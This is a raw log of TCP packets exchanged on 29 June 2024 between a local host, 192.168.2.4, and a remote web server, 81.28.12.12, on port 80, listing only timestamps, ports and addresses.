Jun 29, 2024 08:05:16.419418097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419539928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.421890020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421899080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421909094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421953917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421963930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421973944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.421977997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.421977997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.421984911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422005892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422005892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422040939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422115088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422204018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422662020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422672033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422682047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422745943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422745943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422780991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422791958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422801971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422811031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.422837973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.422959089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436585903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436597109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436605930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436671019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436671019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436672926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436681986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436693907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436703920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436757088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436757088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436842918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436852932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436862946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436872959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436882973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.436906099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436906099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436943054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.436969042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437098026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437108040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437118053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437123060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437128067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437139034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437149048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437150002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437159061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437169075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437189102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437189102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437221050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437283993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437283993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437340975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437349081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437383890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437395096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437395096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437401056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437428951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437460899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437470913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437474966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437557936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437566996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437577963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437588930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437599897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437608957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437638998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437638998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437671900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437695980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437705994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437715054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437722921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437743902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437808990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437832117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437841892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437850952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437863111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.437880039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437933922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.437933922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438024044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438040018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438050032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438059092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438067913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438079119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438088894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438091993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438091993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438100100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438111067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438126087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438126087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438158035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438158035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.438282013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438294888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.438386917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439105988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439152002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439161062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439183950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439213991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439229012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439239979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439291000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439291000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439327002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439337015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439347029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439371109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439378023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439388990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439399004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439407110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439407110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439475060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439531088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439546108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439557076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439565897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439582109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439631939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439631939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439677954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439687967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439697981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439707994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439718008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439750910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439873934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439882994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439893007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439905882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439940929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439950943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439954996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439954996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.439960957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.439971924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440074921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440076113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440154076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440196991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440207005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440221071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440229893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440253973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440253973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440289974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440299988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440309048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440320015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440321922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440329075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.440342903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440380096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.440380096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508240938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508251905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508260965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508316040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508373976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508506060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508516073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508524895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508548021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508585930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508618116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508656025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508714914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508723974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508724928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508794069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508794069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508836031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508845091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508855104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508863926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.508893967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.508955002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.511478901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511562109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.511728048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511737108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511791945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.511791945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.511843920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511853933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511863947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511878014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511914015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.511948109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.511981964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512140989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512152910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512198925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512212038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512242079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512283087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512293100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512301922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512310028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512346029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512346029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.512540102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.512923956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526247978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526271105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526288986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526299000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526309013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526318073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526349068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526357889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526369095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526371002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526412964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526412964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526431084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526439905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526448965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526468992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526503086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526503086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526518106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526530027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526539087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526547909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526581049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526626110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526690960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526700020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526725054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526735067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526743889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526753902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526773930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526803970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526803970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526840925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526850939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526860952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526868105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526926041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526926041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526941061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526951075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526961088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526969910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.526994944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.526994944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527082920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527093887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527103901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527111053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527117968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527117968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527170897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527170897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527223110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527232885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527242899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527251959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527275085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527353048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527363062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527376890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527383089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527384996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527395010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527406931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527406931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527491093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527499914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527524948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527560949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527560949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527592897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527602911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527611971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527621984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527631998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527641058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527648926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527662039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527690887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527692080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527810097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527820110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527829885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527838945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527848959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527858973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.527868986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527898073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.527926922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528738976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528748035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528757095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528812885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528822899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528846025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528860092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528868914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528878927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528892040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528892040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528933048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528934002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528934002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.528943062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.528959990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529043913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529053926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529057026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529063940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529103994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529139042 CEST	80	49731	81.28.12.12	192.168.2.4
